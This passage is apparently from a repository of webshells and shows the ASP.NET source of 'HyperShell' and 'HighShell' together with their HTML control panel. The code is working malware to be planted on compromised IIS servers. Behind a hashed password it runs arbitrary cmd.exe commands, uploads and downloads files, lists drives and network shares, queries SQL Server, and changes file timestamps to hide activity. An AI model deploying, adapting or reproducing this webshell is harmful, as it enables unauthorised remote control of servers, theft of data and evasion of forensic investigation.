   case\"pro\":pro=a(pro,fb(data3[1]));break;\r\n        //            case\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\n        //            case\"sav\":sav=a(sav,fb(data3[1]));break;\r\n        //            case\"vir\":vir=a(vir,fb(data3[1]));break;\r\n        //            case\"nen\":nen=a(nen,fb(data3[1]));break;\r\n        //            case\"don\":don=a(don,fb(data3[1]));break;\r\n        //            case\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\n        //            case\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\n        //            case\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\n        //            case\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\n        //            case\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\n        //            case\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\n        //        }}}\r\n\r\n        //view();\r\n    }\r\n    catch (Exception ex)\r\n    {\r\n        response(\"Error : \" + ex.Message);\r\n    }\r\n    %>\r\n    <script runat=\"server\">\r\n        enum method\r\n        {\r\n            auth = 0,\r\n            command = 1,\r\n            upload = 2,\r\n            uploadbase64 = 3,\r\n            delete = 4,\r\n            download = 5,\r\n            changeTime = 6,\r\n            sqlQuery = 7,\r\n            explorer = 8,\r\n            getsize = 9,\r\n            getlocation = 10\r\n        };\r\n        string salt = \"di2zag7wZHTK9YR0NGq\";\r\n        string p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd;\r\n        bool aut = false;\r\n        string pp = \"ePQm3HPXJYt5wZSFhktJ/IEin/A=\";\r\n        string a(string a, string b) { return string.IsNullOrEmpty(a) ? b : a; }\r\n        string tb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }\r\n        string fb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }\r\n        void view()\r\n        {\r\n            string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}\",\r\ntb(pro), tb(cmd), tb(sav), tb(vir), tb(nen), tb(don), tb(tfil), tb(ttar), tb(ttim), tb(sqc), tb(sqq), tb(exadd));\r\n            HttpCookie coo = new HttpCookie(\"data\", data); coo.Expires = DateTime.Now.AddDays(1); HttpContext.Current.Response.SetCookie(coo);\r\n        }\r\n\r\n        void response(string ret)\r\n        {\r\n            Response.Clear();\r\n            Response.Write(tb(ret));\r\n            Response.Headers.Add(\"Access-Control-Allow-Origin\", \"*\");\r\n            Response.Flush();\r\n            Response.SuppressContent = true;\r\n            ApplicationInstance.CompleteRequest();\r\n            Response.End();\r\n        }\r\n        void rm() {/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/Response.Redirect(\"/\"); }\r\n        void c(string p)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                ret = c().ToString();\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n\r\n        bool c()\r\n        {\r\n            if (!string.IsNullOrEmpty(p))\r\n            {\r\n                aut = Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p + salt))) == pp;\r\n                if (!aut)\r\n                    rm();\r\n                return aut;\r\n            }\r\n\r\n            rm();\r\n            return false;\r\n        }\r\n\r\n        //void u(HttpPostedFile upl, string sav, bool vir, string nen) { try { if (c()) { if (upl != null && upl.ContentLength > 0) { string fn = string.IsNullOrEmpty(nen) ? System.IO.Path.GetFileName(upl.FileName) : nen; string path = vir ? Server.MapPath(sav) : sav; string SaveLocation = System.IO.Path.HasExtension(path) ? path : path.TrimEnd('\\\\') + \"\\\\\" + fn; upl.SaveAs(SaveLocation); l(\"File uploaded successfuly : \" + SaveLocation); } } } catch (Exception ex) { l(ex.Message); } }\r\n        //void baseupl(string baseFile, string baseAddr, bool baseVir) { try { if (c()) { if (baseFile != null && baseFile.Length > 0 && !string.IsNullOrEmpty(baseAddr)) { string SaveLocation = baseVir ? Server.MapPath(baseAddr) : baseAddr; System.IO.File.WriteAllBytes(SaveLocation, Convert.FromBase64String(baseFile)); l(\"File uploaded successfuly : \" + SaveLocation); } } } catch (Exception ex) { l(ex.Message); } }\r\n        void r(string pro, string cmd)\r\n        {\r\n            string ret = \"Error : -\";\r\n\r\n            try\r\n            {\r\n                if (c())\r\n                {\r\n                    string o = exec(cmd, pro);\r\n                    ret = HttpUtility.HtmlEncode(o);\r\n                }\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                ret = \"Error : \" + ex.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n        void z(string don)\r\n        {\r\n            try {\r\n                if (c() && !string.IsNullOrEmpty(don))\r\n                {\r\n                    byte[] f = System.IO.File.ReadAllBytes(don);\r\n                    Response.Clear();\r\n                    Response.ClearHeaders();\r\n                    Response.ClearContent();\r\n                    Response.AppendHeader(\"content-length\", f.Length.ToString());\r\n                    Response.ContentType = \"application/octet-stream\";\r\n                    Response.AppendHeader(\"content-disposition\", \"attachment; filename=\" + don.Substring(don.LastIndexOf('\\\\') + 1));\r\n                    Response.BinaryWrite(f);\r\n                    Response.Flush();\r\n                    Response.SuppressContent = true;\r\n                    ApplicationInstance.CompleteRequest();\r\n                    Response.End();\r\n                }\r\n            } catch { }\r\n        }\r\n        //string ti(string tt) { return \"Creation Time :\\t\\t\" + System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\") + \"<br>Last Access Time :\\t\" + System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\") + \"<br>Last Write Time :\\t\" + System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\"); }\r\n        //void g(string hid, string tfil, string ttar, string ttim) { try { if (c() && !string.IsNullOrEmpty(tfil)) { l(string.Empty); if (hid == \"1\") ti(tfil); else if (hid == \"2\") { if (!string.IsNullOrEmpty(ttar)) { System.IO.File.SetCreationTime(tfil, System.IO.File.GetCreationTime(ttar)); System.IO.File.SetLastAccessTime(tfil, System.IO.File.GetLastAccessTime(ttar)); System.IO.File.SetLastWriteTime(tfil, System.IO.File.GetLastWriteTime(ttar)); l(\"Time successfuly changed :<br>\" + tfil + \"<br>\" + ti(tfil)); } } else if (hid == \"3\") { if (!string.IsNullOrEmpty(ttim)) { DateTime te = DateTime.Parse(ttim); System.IO.File.SetCreationTime(tfil, te); System.IO.File.SetLastAccessTime(tfil, te); System.IO.File.SetLastWriteTime(tfil, te); l(\"Time successfuly changed :<br>\" + tfil + \"<br>\" + ti(tfil)); } } } } catch (Exception ex) { l(ex.Message); } }\r\n        //void h(string upb, string upd) { try { if (c() && !string.IsNullOrEmpty(upb) && !string.IsNullOrEmpty(upd)) { System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath() + upd, Convert.FromBase64String(upb)); l(upd + \" successfuly uploaded\"); } } catch (Exception ex) { l(ex.Message); } }\r\n        //void d(string del) { try { if (c() && !string.IsNullOrEmpty(del)) { System.IO.File.Delete(System.IO.Path.GetTempPath() + del); l(del + \" successfuly deleled\"); } } catch (Exception ex) { l(ex.Message); } }\r\n        //void sq(string sqc, string sqq) { try { if (c()) { if (!string.IsNullOrEmpty(sqc)) { using (System.Data.SqlClient.SqlConnection con = new System.Data.SqlClient.SqlConnection(sqc)) { if (string.IsNullOrEmpty(sqq)) { try { con.Open(); l(\"Sql Server Connection Successfuly Established\"); } catch (Exception ex) { l(\"Sql Server Connection Failed :\" + Environment.NewLine + ex.ToString()); } } else { try { con.Open(); System.Data.SqlClient.SqlCommand com = new System.Data.SqlClient.SqlCommand(sqq, con); System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter(com); System.Data.DataTable dt = new System.Data.DataTable(); ad.Fill(dt); DataGrid grid = new DataGrid(); System.Web.UI.WebControls.DataList list = new System.Web.UI.WebControls.DataList(); grid.DataSource = dt; grid.DataBind(); log.Controls.Add(grid); } catch (Exception ex) { l(\"Error : <br>\" + ex.ToString()); } } con.Close(); } } } } catch (Exception ex) { l(ex.Message); } }\r\n        //string x(string f) { return Encoding.UTF8.GetString(Convert.FromBase64String(f)); }\r\n        //void l(string ll) { log.InnerHtml = tb(ll); }\r\n\r\n        string exec(string cmd, string pro = \"\")\r\n        {\r\n            System.Diagnostics.Process n = new System.Diagnostics.Process();\r\n            n.StartInfo.FileName = (string.IsNullOrEmpty(pro) ? \"cmd.exe\" : pro);\r\n            n.StartInfo.UseShellExecute = false; n.StartInfo.RedirectStandardInput = true;\r\n            n.StartInfo.RedirectStandardOutput = true;\r\n            n.StartInfo.RedirectStandardError = true;\r\n            n.StartInfo.CreateNoWindow = true;\r\n            string o = null;\r\n            n.Start();\r\n            n.StandardInput.WriteLine(cmd);\r\n            n.StandardInput.WriteLine(\"exit\");\r\n            o = n.StandardOutput.ReadToEnd();\r\n            n.WaitForExit();\r\n            n.Close();\r\n            return o;\r\n        }\r\n\r\n        void gsize(string addr)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                long size = GetDirSize(new DirectoryInfo(addr));\r\n                ret = sizeFix(size);\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                ret = \"Error : \" + ex.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n\r\n        void exp(string exadd)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                if (exadd.ToLower() == \"root\")\r\n                {\r\n                    ret = \"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";// in javascript json parser two \\ = one \\\r\n                    string netUse = exec(\"net use\");\r\n                    string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                    foreach (string item in lines)\r\n                    {\r\n                        if (item.ToLower().StartsWith(\"ok\"))\r\n                        {\r\n                            int index = item.IndexOf(\"\\\\\\\\\");\r\n                            ret += \",{\\\"name\\\":\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"}\";\r\n                        }\r\n                    }\r\n                    ret += \"]}\";\r\n                }\r\n                else\r\n                {\r\n                    if (exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                    {\r\n                        string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                        if (tmp == \"\\\\\\\\localhost\")\r\n                        {\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                            {\r\n                                if (item.IsReady)\r\n                                {\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}$\\\",\\\"tsize\\\":\\\"{1}\\\",\\\"fsize\\\":\\\"{2}\\\",\\\"usize\\\":\\\"{3}\\\"}}\", item.Name.TrimEnd('\\\\').TrimEnd(':'), sizeFix(item.TotalSize), sizeFix(item.TotalFreeSpace), sizeFix(item.TotalSize - item.TotalFreeSpace));\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        }\r\n                        else\r\n                        {\r\n\r\n                        }\r\n                    }\r\n                    else // \\\\localhost\\c$\\\r\n                    {\r\n                        FileAttributes attr = File.GetAttributes(exadd);\r\n                        if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                        {\r\n                            DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                            ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                ret = \"Error : \" + ex.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n\r\n        void getLoc()\r\n        {\r\n            response(Server.MapPath(string.Empty) + \"\\\\\");\r\n        }\r\n\r\n        long GetDirSize(DirectoryInfo d)\r\n        {\r\n            long size = 0;\r\n\r\n            FileInfo[] fis = d.GetFiles();\r\n            foreach (FileInfo fi in fis)\r\n            {\r\n                size += fi.Length;\r\n            }\r\n\r\n            DirectoryInfo[] dis = d.GetDirectories();\r\n            foreach (DirectoryInfo di in dis)\r\n            {\r\n                size += GetDirSize(di);\r\n            }\r\n\r\n            return size;\r\n        }\r\n        string createJsonDirectory(DirectoryInfo[] dir)\r\n        {\r\n            string json = \"\\\"dir\\\":[\";\r\n            for (int i = 0; i < dir.Length; i++)\r\n            {\r\n                if (i > 0)\r\n                    json += \",\";\r\n                json += \"{\\\"name\\\":\\\"\" + dir[i].Name + \"\\\"}\";\r\n            }\r\n            json += \"]\";\r\n            return json;\r\n        }\r\n        string createJsonFile(FileInfo[] file)\r\n        {\r\n            string json = \"\\\"file\\\":[\";\r\n            for (int i = 0; i < file.Length; i++)\r\n            {\r\n                if (i > 0)\r\n                    json += \",\";\r\n                json += \"[\\\"\" + file[i].Name + \"\\\",\\\"\" + sizeFix(file[i].Length) + \"\\\"]\";\r\n            }\r\n            json += \"]\";\r\n            return json;\r\n        }\r\n        string sizeFix(long size)\r\n        {\r\n            double s = size;\r\n            if (s < 1024) return s + \" B\";\r\n            s = s / 1024;\r\n            if (s < 1024) return Math.Round(s, 2) + \" KB\";\r\n            s = s / 1024;\r\n            if (s < 1024) return Math.Round(s, 2) + \" MB\";\r\n            s = s / 1024;\r\n            return Math.Round(s, 2) + \" GB\";\r\n        }\r\n    </script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/EclipseTheme.aspx",
    "content": "﻿<html>\r\n<head>\r\n    <title></title>\r\n    <link href=\"/css/main.css\" rel=\"stylesheet\" />\r\n    <link href=\"/fonts/RobotoMono/font.css\" rel=\"stylesheet\" />\r\n</head>\r\n<body>\r\n    <div class=\"MainWindow\">\r\n        <div class=\"header\">\r\n            <div class=\"header-left-side\">\r\n                <span class=\"text\">Administrator Panel</span>\r\n            </div>\r\n            <div class=\"separator-v\"></div>\r\n        </div>\r\n        <div class=\"body\">\r\n            <div class=\"body-left-side\">\r\n                <div class=\"separator-h\"></div>\r\n            </div>\r\n            <div class=\"feed\">\r\n\r\n            </div>\r\n        </div>\r\n    </div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/Front/Front.aspx",
    "content": "<html>\r\n<head>\r\n    <link href=\"css/main.css\" rel=\"stylesheet\" />\r\n    <script src=\"js/main.js\"></script>\r\n    <script src=\"js/send.js\"></script>\r\n    <script src=\"js/explorer.js\"></script>\r\n</head>\r\n<body>\r\n    <div style=\"border: 1px solid #ccc; border-bottom: none\">\r\n        <table>\r\n            <tr>\r\n                <td class=\"h\">Login</td>\r\n                <td class=\"b\">\r\n                    <t>Url :</t>\r\n                    <input id=\"url\" class=\"mmm\" type=\"text\" style=\"width: 300px\" onkeypress=\"return grabEnter(event, this);\" />\r\n                    <t>Password :</t>\r\n                    <input id=\"p\" class=\"mmm\" type=\"text\" style=\"width: 300px\" onkeypress=\"return grabEnter(event, this);\" />\r\n                    <input type=\"button\" id=\"btnLogin\" value=\"Login\" onclick=\"login(this);\" />\r\n                </td>\r\n            </tr>\r\n        </table>\r\n    </div>\r\n\r\n    <div class=\"tbbt\">\r\n        <button class=\"tblnk active\" onclick=\"openTab(event, 'tbMain')\">Command</button>\r\n        <button class=\"tblnk\" onclick=\"openTab(event, 'tbDir')\">Explorer</button>\r\n        <button class=\"tblnk\" onclick=\"openTab(event, 'tbUpload')\">Upload</button>\r\n        <button class=\"tblnk\" onclick=\"openTab(event, 'tbDownload')\">Download</button>\r\n        <button class=\"tblnk\" onclick=\"openTab(event, 'tbSqlServer')\">Sql Server</button>\r\n        <button class=\"tblnk\" onclick=\"openTab(event, 'tbChangeTime')\">Change Time</button>\r\n    </div>\r\n    <div id=\"tbMain\" class=\"tb\" style=\"display: block\">\r\n        <table>\r\n            <tr>\r\n                <td class=\"h\">Address</td>\r\n                <td class=\"b\">\r\n                    <t>Current Location :</t>\r\n                    <y id=\"loc\"></y>\r\n                    <input type=\"button\" value=\"Use\" onclick=\"use()\" />\r\n                    <input type=\"button\" value=\"Reset Form\" onclick=\"reset()\" />\r\n                    <div style=\"float: right\">v6.1</div>\r\n                </td>\r\n            </tr>\r\n        </table>\r\n        <hr>\r\n\r\n        <form action=\"/\" method=\"post\">\r\n        <table>\r\n            <tr>\r\n                <td class=\"h\">Command</td>\r\n                <td class=\"b\">\r\n                    <t>Process :</t>\r\n                    <input id=\"pro\" class=\"mmm\" type=\"text\" value='cmd.exe' onkeypress=\"return grabEnter(event, this);\" /><br>\r\n                    <t>Command :</t>\r\n                    <input id=\"cmd\" class=\"mmm\" type=\"text\" onkeypress=\"return grabEnter(event, this);\" />\r\n                    <input type=\"button\" value=\"Execute\" onclick=\"command(this);\" />\r\n                </td>\r\n            </tr>\r\n        </table>\r\n        </form>\r\n    </div>\r\n    <div id=\"tbDir\" class=\"tb\">\r\n        <table>\r\n            <tr>\r\n                <td class=\"h\">Explorer</td>\r\n                <td class=\"b\">\r\n                    <t>Address :</t>\r\n                    <input id=\"exadd\" class=\"mmm\" type=\"text\" onkeypress=\"return checkEnter(event);\" />\r\n                    <input type=\"submit\" value=\"Explore\" onclick=\"sendAddress();\" style=\"margin-right: 5px;\" />\r\n                    <span id=\"loader\" class=\"loader\" style=\"display: none\"></span>\r\n                </td>\r\n            </tr>\r\n        </table>\r\n        <hr />\r\n        <div id=\"objLocation\">\r\n            <div class=\"objS\">Location :</div>\r\n            <div class=\"objD objL\" onclick=\"setAddress(this.innerText);\">root</div>\r\n        </div>\r\n        <div id=\"objFrame\">\r\n        </div>\r\n    </div>\r\n    <div id=\"tbUpload\" class=\"tb\">\r\n        <form class=\"form\" action=\"/\" method=\"post\">\r\n            <table>\r\n                <tr>\r\n                    <td class=\"h\">Upload</td>\r\n                    <td class=\"b\">\r\n                        <t>File name :</t>\r\n                        <input name=\"upl\" type=\"file\" /><br>\r\n                        <t>Save as :</t>\r\n                        <input name=\"sav\" class=\"mmm\" type=\"text\" />\r\n                        <input name=\"vir\" type=\"checkbox\" /><g>Is virtual path</g><br>\r\n                        <t>New File name :</t>\r\n                        <input name=\"nen\" class=\"mmm\" type=\"text\" />\r\n                        <input type=\"submit\" value=\"Upload\" onclick=\"subm();\" />\r\n                    </td>\r\n                </tr>\r\n            </table>\r\n        </form>\r\n        <hr>\r\n        <form class=\"form\" action=\"/\" method=\"post\">\r\n            <table>\r\n                <tr>\r\n                    <td class=\"h\">Upload Base64</td>\r\n                    <td class=\"b\">\r\n                        <t>Base64 File :</t>\r\n                        <textarea name=\"baseFile\"></textarea>\r\n                        <input name=\"baseVir\" type=\"checkbox\" /><g>Is virtual path</g><br>\r\n                        <t>File Path and Name :</t>\r\n                        <input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='' />\r\n                        <input type=\"submit\" value=\"Upload\" onclick=\"subm();\" />\r\n                    </td>\r\n                </tr>\r\n            </table>\r\n        </form>\r\n    </div>\r\n    <div id=\"tbDownload\" class=\"tb\">\r\n        <table>\r\n            <tr>\r\n                <td class=\"h\">Download</td>\r\n                <td class=\"b\">\r\n                    <t>File name :</t>\r\n                    <input id=\"don\" type=\"text\" />\r\n                    <input type=\"button\" value=\"Download\" onclick=\"download(this);\" />\r\n                </td>\r\n            </tr>\r\n        </table>\r\n    </div>\r\n    <div id=\"tbSqlServer\" class=\"tb\">\r\n        <form class=\"form\" action=\"/\" method=\"post\">\r\n            <table>\r\n                <tr>\r\n                    <td class=\"h\">Sql Server</td>\r\n                    <td class=\"b\">\r\n                        <input style=\"margin: 0 0 3px 192px\" type=\"button\" value=\"Standard Connection Sample\" onclick=\"document.getElementsByName('sqc')[0].value = 'Server=.;Database=db;User Id=user;Password=pass'\" />\r\n                        <input style=\"margin: 0 0 3px 0\" type=\"button\" value=\"Trusted Connection Sample\" onclick=\"document.getElementsByName('sqc')[0].value = 'Server=.;Database=db;Trusted_Connection=True'\" /><br />\r\n                        <t>Connection String :</t>\r\n                        <input name=\"sqc\" class=\"mmm\" type=\"text\" value='' /><br />\r\n                        <t>Query :</t>\r\n                        <textarea name=\"sqq\" class=\"mmm\"></textarea>\r\n                        <input type=\"submit\" value=\"Run\" onclick=\"subm();\" />\r\n                    </td>\r\n                </tr>\r\n            </table>\r\n        </form>\r\n    </div>\r\n    <div id=\"tbChangeTime\" class=\"tb\">\r\n        <form class=\"form\" action=\"/\" method=\"post\">\r\n            <table>\r\n                <tr>\r\n                    <td class=\"h\">Change Creation Time</td>\r\n                    <td class=\"b\">\r\n                        <input name=\"hid\" type=\"hidden\" />\r\n                        <t>File name :</t>\r\n                        <input name=\"tfil\" class=\"mmm\" type=\"text\" />\r\n                        <input type=\"submit\" value=\"Get\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '1'\" /><br>\r\n                        <t>From This File :</t>\r\n                        <input name=\"ttar\" class=\"mmm\" type=\"text\" />\r\n                        <input type=\"submit\" value=\"Set\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '2'\" /><br>\r\n                        <t>New Time :</t>\r\n                        <input name=\"ttim\" class=\"mmm\" type=\"text\" />\r\n                        <input type=\"submit\" value=\"Set\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '3'\" />\r\n                    </td>\r\n                </tr>\r\n            </table>\r\n        </form>\r\n    </div>\r\n    <br />\r\n    <pre id=\"log\"></pre>\r\n    <script>loadForm(); getLocation();</script>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/HighShell.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<%\r\n\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\np=fb(t[\"p\"]);\r\ncmd=t[\"cmd\"];\r\ncmdB=fb(t[\"cmdB\"]);\r\nsav=fb(t[\"sav\"]);\r\nvir=t[\"vir\"];\r\nnen=fb(t[\"nen\"]);\r\nupb=fb(t[\"upb\"]);\r\nupd=fb(t[\"upd\"]);\r\ndel=fb(t[\"del\"]);\r\ndon=fb(t[\"don\"]);\r\nhid=t[\"hid\"];\r\ntfil=fb(t[\"tfil\"]);\r\nttar=fb(t[\"ttar\"]);\r\nttim=fb(t[\"ttim\"]);\r\nbaseFile=t[\"baseFile\"];\r\nbaseAddr=fb(t[\"baseAddr\"]);\r\nbaseVir=t[\"baseVir\"];\r\nsqc=fb(t[\"sqc\"]);\r\nsqq=fb(t[\"sqq\"]);\r\nexadd=fb(t[\"exadd\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(!string.IsNullOrEmpty(p))c(p);\r\nelse c();\r\npnlM.Visible = true;\r\nif(!string.IsNullOrEmpty(cmd))r(cmd);\r\nif(!string.IsNullOrEmpty(cmdB))fnCmdB(cmdB);\r\nelse if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen,fb(t[\"isExp\"]));\r\nelse if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\nelse if(!string.IsNullOrEmpty(del))d(del);\r\nelse if(!string.IsNullOrEmpty(don))z(don);\r\nelse if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\nelse if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\nelse if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\nelse if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\nelse if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\nelse if(!string.IsNullOrEmpty(t[\"view\"]))view(fb(t[\"view\"]));\r\nelse if(!string.IsNullOrEmpty(t[\"delete\"]))delete(fb(t[\"delete\"]));\r\nelse if(!string.IsNullOrEmpty(t[\"rename1\"]))rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));\r\nelse if(!string.IsNullOrEmpty(t[\"copy1\"]))copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));\r\n\r\nif(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\nswitch (data3[0]){\r\ncase\"pro\":pro=a(pro,fb(data3[1]));break;\r\ncase\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\ncase\"sav\":sav=a(sav,fb(data3[1]));break;\r\ncase\"vir\":vir=a(vir,fb(data3[1]));break;\r\ncase\"nen\":nen=a(nen,fb(data3[1]));break;\r\ncase\"don\":don=a(don,fb(data3[1]));break;\r\ncase\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\ncase\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\ncase\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\ncase\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\ncase\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\ncase\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\ncase\"adminU\":adminU=a(adminU,fb(data3[1]));break;\r\ncase\"adminP\":adminP=a(adminP,fb(data3[1]));break;\r\n}}}\r\n\r\nview();\r\n    %>\r\n<script runat=\"server\">\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,pro,cmd,sav,vir,nen,upb,upd,del,don,hid,tfil,ttar,ttim,baseFile,baseAddr,baseVir,baseName,sqc,sqq,exadd,adminU,adminP,cmdB;\r\n    string SpecialScript;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void view(){string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}|#adminU#=#{12}|#adminP#=#{13}\",\r\n    tb(pro),tb(cmd),tb(sav),tb(vir),tb(nen),tb(don),tb(tfil),tb(ttar),tb(ttim),tb(sqc),tb(sqq),tb(exadd),tb(adminU),tb(adminP));\r\n        HttpCookie coo=new HttpCookie(\"data\", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}\r\n\r\n    void rm(){/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/Response.Redirect(Request.Url.AbsolutePath.Substring(0, Request.Url.AbsolutePath.LastIndexOf(\"/\") + 1) + \" \" + Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\") + 1));}\r\n    void c(string p){try{HttpCookie coo=new HttpCookie(\"p\",tb(p));coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);c();}catch(Exception e){l(e.Message);}}\r\n    bool c(){try{if(HttpContext.Current.Request.Cookies[\"p\"]!=null){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fb(HttpContext.Current.Request.Cookies[\"p\"].Value)+salt)))==pp;if(!aut)rm();return aut;}}catch(Exception e){l(e.Message);}rm();return false;}\r\n    void baseupl(string baseFile,string baseAddr, bool baseVir){try{if(c()){if(baseFile!=null&&baseFile.Length>0&&!string.IsNullOrEmpty(baseAddr)){string SaveLocation=baseVir?Server.MapPath(baseAddr):baseAddr;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFile));l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void r(string cmd){try{if(c()){string o = exec(cmd);l(HttpUtility.HtmlEncode(o));}}catch(Exception ex){l(ex.Message);}}\r\n    void z(string don){try{if(c()&&!string.IsNullOrEmpty(don)){byte[] f=System.IO.File.ReadAllBytes(don);System.Web.HttpContext t=System.Web.HttpContext.Current;t.Response.Clear();t.Response.ClearHeaders();t.Response.ClearContent();t.Response.AppendHeader(\"content-length\",f.Length.ToString());t.Response.ContentType=\"application/octet-stream\";t.Response.AppendHeader(\"content-disposition\",\"attachment; filename=\"+don.Substring(don.LastIndexOf('\\\\')+1));t.Response.BinaryWrite(f);t.Response.End();}}catch(Exception ex){l(ex.Message);}}\r\n    string 